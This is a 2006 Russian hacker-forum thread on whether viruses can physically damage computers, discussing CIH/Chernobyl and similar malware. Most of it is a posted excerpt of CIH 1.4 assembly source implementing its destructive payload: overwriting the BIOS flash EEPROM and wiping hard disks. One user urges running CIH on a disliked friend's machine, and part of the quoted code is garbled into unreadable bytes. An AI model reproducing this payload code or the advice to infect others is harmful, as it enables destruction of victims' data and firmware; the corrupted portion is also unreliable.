Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Защита ОС: вирусы, антивирусы, файрволы. (https://forum.antichat.xyz/forumdisplay.php?f=80)
-   -   Спор:"Есть ли вири которые убивают железо" (https://forum.antichat.xyz/showthread.php?t=19364)

Duke Nukem 20.05.2006 01:46

Спор:"Есть ли вири которые убивают железо"
 
Народ помогите разрешить спор - "Есть ли вири которые убивают железо"
В общем дело было так:

Я на учёбе, препод по О.С вызывает меня вещать про вирусы, я ему отвечаю и в конце он задаёт заключительный вопрос:
"Могут ли вирусы повредить аппаратную часть П.К" -

На что я ему ответил:"ДА Могут!!!"
Он усмехнулся....

И я ему обосновал, что стоит вирю получить доступ к BIOS и всё труба!!!!(К слову BIOS можно перепрошить чуть ли не через инет, и принцыпы построения практический одинаковые у всех фирм)

На что препод замолчал.....
Народ кто знает средства и алгоритмы воздействия на BIOS из под виндов, помогите уделать препода! :D

Desr0w 20.05.2006 01:50

Про биос ты обсулютно прав.
Придет Elect -поможет;)
А вот те + на удачу.

Duke Nukem 20.05.2006 01:53

Desr0w - RESPEKT и уважуха старшим!!!!!!!
Пасиба за одобрение!!!

Elekt 20.05.2006 09:48

Вири такие есть =]

Ну, самое банальный и яркий пример - это конечно винчих(или чернобыль), который 26 апреля(или когда там была катастрофа на АС, да простит меня мой ОБЖ-шник) перепрошивал биос в мусор.
Кстати, винчиха до сих пор можно найти в вирусовых залежах инета(чего там тока не валяеться!). Не думаю, что он будет работать на современных машинах, но 1-е, 2-е и 3-и пеньки и их атлоновские аналоги под ударом.
Конечно же, должно быть разрешение на запись в биос(в биосе настройка типа"Protect" или джампер на матери).
Ходили ещё байки, что некоторые модификации модернизировали прошивку и изменяли частоту системной шины на недопустимую, но по-моему это уже гон.

СД-РОМ.
Есть такая гадость, называеться Crazy_CD. Это чудо, будуче запущенным, начинает до бесконечности открывать\закрывать лоток СД, чем очень быстро портит пассик и остальную механику.
Ещё был вирь, разгоняющий блин в СД до космических скоростей. Болванка, разумеется, не выдерживала и разлеталась на n кусков. Отсюда самые разнообразные повреждения.

Ну, можно упомянуть жёсткий диск.
Впринципе, форматирование - это тоже порча железа, как и информации, его изменение. Но это вообще не интересно.
Кажется существует вирус, стирающий служебные секторы, при порче которых восстановить работоспособность можно лишь на заводе-производителе.

Была зараза, разбивающая жёсткий на n логических дисков, размером каждый по 1.4 Мгб. Я не знаю, байка или нет, но говрят, что при кол-ве логических разделов, превышающем 1024 происходит порча(!!!) оперативной памяти. Тип уязвимой памяти мне не изестен.

Darkwayder 20.05.2006 10:17

Когда ещё юзали ещё win 98 то один паренёк решил замутить вирус под названием cih. наверно все слышали про него. Вообщем от него комп и сгорает.

Dumkopff 20.05.2006 10:25

тут есть исходники CIH 1.4:
http://netch.ru/showthread.php?t=367

Darkwayder 20.05.2006 10:33

На winXP не работает проверял :). А вот на 98 жёсть прямо. У кого есть win98, например у друга которого терпеть не можете, запустите cih, ставьте 26 апреля и через несколько дней вы будете долго ржать.

Utochka 20.05.2006 11:41

Может выложите сюды исходник Cih 1.4: регаться там влом

k1b0rg 20.05.2006 11:55

выложу тока часть, потому что он громадный
воть, самая безопасная часть этого вируса
Цитата:

; *************************************

; * Kill Computer !? ... *^_^* *

; *************************************



IsKillComputer:

; Get Now Day from BIOS CMOS

mov ah. 07@HЄrr¦Ш¦$#ТA!М1r

Г2Р@EH`

аЕdr Ш"!BEAТЛ-1САНЪ!B H-ФhCi\ШGМАМРНДЩ-re¬(РВ$-

gHAr]!RЙ (ЙАDH$Й4гАф

lАЄЫ4¦'@-

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; **************************************



; ***************************

; * Kill BIOS EEPROM *

; ***************************



mov bp, 0cf8h

lea esi, IOForEEPROM-@7[esi]



; ***********************

; * Show BIOS Page in *

; * 000E0000 - 000EFFFF *

; * ( 64 KB ) *

; ***********************



mov edi, 8000384ch

mov dx, 0cfeh

cli

call esi



; ***********************

; * Show BIOS Page in *

; * 000F0000 - 000FFFFF *

; * ( 64 KB ) *

; ***********************



mov di, 0058h

dec edx ; and al,0fh

mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h

call esi



; ***********************

; * Show the BIOS Extra *

; * ROM Data in Memory *

; * 000E0000 - 000E01FF *

; * ( 512 Bytes ) *

; * , and the Section *

; * of Extra BIOS can *

; * be Writted... *

; ***********************



lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h

mov ecx, 0e2aaah

call ebx

mov byte ptr [eax], 60h

push ecx

loop $



; ***********************

; * Kill the BIOS Extra *

; * ROM Data in Memory *

; * 000E0000 - 000E007F *

; * ( 80h Bytes ) *

; ***********************



xor ah, ah

mov [eax], al



xchg ecx, eax

loop $



; ***********************

; * Show and Enable the *

; * BIOS Main ROM Data *

; * 000E0000 - 000FFFFF *

; * ( 128 KB ) *

; * can be Writted... *

; ***********************



mov eax, 0f5555h

pop ecx

mov ch, 0aah

call ebx

mov byte ptr [eax], 20h



loop $



; ***********************

; * Kill the BIOS Main *

; * ROM Data in Memory *

; * 000FE000 - 000FE07F *

; * ( 80h Bytes ) *

; ***********************



mov ah, 0e0h

mov [eax], al



; ***********************

; * Hide BIOS Page in *

; * 000F0000 - 000FFFFF *

; * ( 64 KB ) *

; ***********************

; or al,10h

mov word ptr (BooleanCalculateCode-@10)[esi], 100ch

call esi



; ***************************

; * Kill All HardDisk *

; ************************************************** *

; * IOR Structure of IOS_SendCommand Needs *

; ************************************************** *

; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *

; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *

; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *

; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *

; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *

; ************************************************** *



KillHardDisk:

xor ebx, ebx

mov bh, FirstKillHardDiskNumber

push ebx

sub esp, 2ch

push 0c0001000h

mov bh, 08h

push ebx

push ecx

push ecx

push ecx

push 40000501h

inc ecx

push ecx

push ecx

mov esi, esp

sub esp, 0ach



LoopOfKillHardDisk:

int 20h

dd 00100004h ; VXDCall IOS_SendCommand

cmp word ptr [esi+06h], 0017h

je KillNextDataSection



ChangeNextHardDisk:

inc byte ptr [esi+4dh]

jmp LoopOfKillHardDisk



KillNextDataSection:

add dword ptr [esi+10h], ebx

mov byte ptr [esi+4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk


Darkwayder 20.05.2006 12:00

Мдя виг такой вирус напишешь. А воще вирь написан на асамблере?


Время: 23:13